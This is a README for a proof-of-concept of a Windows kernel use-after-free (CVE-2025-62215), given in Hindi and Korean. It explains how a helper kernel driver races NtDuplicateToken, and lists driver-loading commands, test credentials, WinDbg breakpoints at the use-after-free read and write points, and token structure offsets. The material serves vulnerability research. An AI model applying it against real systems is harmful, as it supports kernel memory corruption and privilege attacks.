
CVE-2025-62215 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, यह विंडोज कर्नेल में SepTokenSidSharingEnabled में एक Use-After-Free कमजोरी है। इसमें रेस कंडीशन विश्लेषण के लिए एक कर्नेल ड्राइवर और यूज़र-मोड एक्सप्लॉइट शामिल है।
Windows कर्नेल के SepTokenSidSharingEnabled ऑप्टिमाइज़ेशन पथ में होने वाली Use-After-Free भेद्यता का PoC।
NtDuplicateToken SID Values Block के RefCount को 1→2 बढ़ाता है,
तब एक रेसिंग कर्नेल थ्रेड ExFreePoolWithTag के माध्यम से ब्लॉक को मुक्त कर देता है।SepDereferenceSidValuesBlock मुक्त किए गए ब्लॉक तक पहुँचता है → UAF / Double Free।[User] IOCTL_REPLACE_SID_BLOCK → TOKEN+0x468 पर एक स्वतंत्र ब्लॉक (RefCount=1) रखें
[User] IOCTL_TRIGGER_FREE → कर्नेल थ्रेड बनाएँ (RefCount==2 होने तक प्रतीक्षा करें)
[User] NtDuplicateToken → आंतरिक रूप से RefCount 1→2 बढ़ाता है
[Kernel Thread] RefCount==2 का पता चला → ExFreePoolWithTag(pBlock) ← UAF बिंदु
| पथ | विवरण |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | उपयोगकर्ता-मोड एक्सप्लॉइट (कंसोल ऐप) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | कर्नेल ड्राइवर (IOCTL इंटरफ़ेस प्रदान करता है) |
tokendriv.sys — कर्नेल ड्राइवरtokendriv/tokendrv/tokendrv.slnx खोलेंtokendriv/tokendrv/x64/Release/tokendrv.sys उत्पन्न होता है.sys फ़ाइल को VM पर कॉपी करेंWDK स्थापित करने के बाद, Project Properties → Driver Settings → Target OS Version सत्यापित करें
exploitWithDriv.exe — उपयोगकर्ता-मोड एक्सप्लॉइटexploit/exploitWithDriv.slnx खोलेंexploit/x64/Release/exploitWithDriv.exe उत्पन्न होता हैSepTokenSidSharingEnabled सक्रिय करने के लिए आवश्यक)test / 1234 (स्थानीय खाता, व्यवस्थापक अधिकारों की आवश्यकता नहीं)sc create tokendriv type= kernel binpath= "C:\path\to\tokendrv.sys"
sc start tokendriv
सत्यापित करें कि ड्राइवर चल रहा है:
sc query tokendriv
स्थिति RUNNING होनी चाहिए।
exploitWithDriv.exe
निष्पादन प्रवाह:
FullNumberOfPhysicalPages जाँचें (0x83400 से कम या बराबर होना चाहिए)LogonUser("test", ".", "1234") → hSource प्राप्त करेंREPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
उदाहरण आउटपुट:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 EPROCESS पता है।
नीचे दिए गए पते पर्यावरण के अनुसार भिन्न हो सकते हैं — वास्तविक कर्नेल प्रतीकों से पुष्टि करें।
A. SID Block RefCount वृद्धि (रेस विंडो प्रारंभ)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x468 पर SID Values Block के RefCount (+0x8) को प्रिंट करता है1 → 2 में बदलता है, वह रेस विंडो हैB. UAF पठन बिंदु
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdx मान जाँचेंC. UAF लेखन बिंदु
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax जाँचेंNtDuplicateToken प्रविष्टि
└─ SeTokenCanImpersonate
└─ SID Block RefCount: 1 → 2 ← bp A (A_REFCNT_INCR)
← कर्नेल थ्रेड: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ pBlock को डीरेफरेंस (पढ़ना) ← bp B (REAL_UAF_READ)
└─ pBlock को डीरेफरेंस (लिखना) ← bp C (REAL_UAF_WRITE)
A_REFCNT_INCR प्रिंट होने के तुरंत बाद RefCount 2 है, तो रेस विंडो सफलतापूर्वक प्रविष्ट हुईREAL_UAF_READ / REAL_UAF_WRITE दिखाई देते हैं, तो वास्तविक UAF की पुष्टि होती है'kcoB' के साथ आवंटित ब्लॉक ट्रैक करें: !pool <addr> या !poolused| संरचना | ऑफ़सेट | फ़ील्ड |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (SID Values Block पॉइंटर) |
| SID Values Block | +0x000 | Length (ULONG) |
| SID Values Block | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv
Windows 커널의 SepTokenSidSharingEnabled 최적화 경로에서 발생하는 Use-After-Free 취약점 PoC.
NtDuplicateToken 내부에서 SID Values Block의 RefCount가 1→2로 증가하는 순간,
레이스를 걸어 커널 스레드가 해당 블록을 ExFreePoolWithTag로 해제한다.SepDereferenceSidValuesBlock이 해제된 블록에 다시 접근 → UAF / Double Free.[User] IOCTL_REPLACE_SID_BLOCK → TOKEN+0x468 에 RefCount=1 독립 블록 배치
[User] IOCTL_TRIGGER_FREE → 커널 스레드 시작 (RefCount==2 폴링 대기)
[User] NtDuplicateToken → 내부에서 RefCount 1→2
[Kernel Thread] RefCount==2 감지 → ExFreePoolWithTag(pBlock) ← UAF 지점
| 경로 | 설명 |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | 유저모드 익스플로잇 (콘솔 앱) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | 커널 드라이버 (IOCTL 인터페이스 제공) |
tokendriv.sys — 커널 드라이버tokendriv/tokendrv/tokendrv.slnx 열기tokendriv/tokendrv/x64/Release/tokendrv.sys 생성.sys 파일 하나만 VM으로 복사하면 됨WDK 설치 후 프로젝트 속성 → Driver Settings → Target OS Version 확인
exploitWithDriv.exe — 유저모드 익스플로잇exploit/exploitWithDriv.slnx 열기exploit/x64/Release/exploitWithDriv.exe 생성test / 1234 (로컬 계정, 관리자 권한 불필요)sc create tokendriv type= kernel binpath= "C:\path\to\tokendrv.sys"
sc start tokendriv
드라이버 로드 확인:
sc query tokendriv
RUNNING 상태이면 정상.
exploitWithDriv.exe
실행 흐름:
FullNumberOfPhysicalPages 체크 (0x83400 이하여야 진행)LogonUser("test", ".", "1234") → hSource 획득REPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
출력 예시:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 부분이 EPROCESS 주소.
아래 주소는 환경마다 다를 수 있으므로 실제 커널 심볼로 확인 후 사용.
A. SID Block RefCount 증가 지점 (레이스 윈도우 시작)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x468 에 있는 SID Values Block의 RefCount(+0x8)를 출력1 → 2로 바뀌는 순간이 레이스 윈도우B. UAF Read 지점
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdx 값 확인C. UAF Write 지점
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax 값으로 오염 여부 확인NtDuplicateToken 진입
└─ SeTokenCanImpersonate
└─ SID Block RefCount: 1 → 2 ← bp A (A_REFCNT_INCR)
← 커널 스레드: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ pBlock 역참조 (읽기) ← bp B (REAL_UAF_READ)
└─ pBlock 역참조 (쓰기) ← bp C (REAL_UAF_WRITE)
A_REFCNT_INCR 출력 직후 RefCount가 2이면 레이스 윈도우 진입 성공REAL_UAF_READ / REAL_UAF_WRITE 이 출력되면 실제 UAF 발생 확인'kcoB' 로 할당된 블록 추적: !pool <addr> 또는 !poolused| 구조체 | 오프셋 | 필드 |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (SID Values Block 포인터) |
| SID Values Block | +0x000 | Length (ULONG) |
| SID Values Block | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv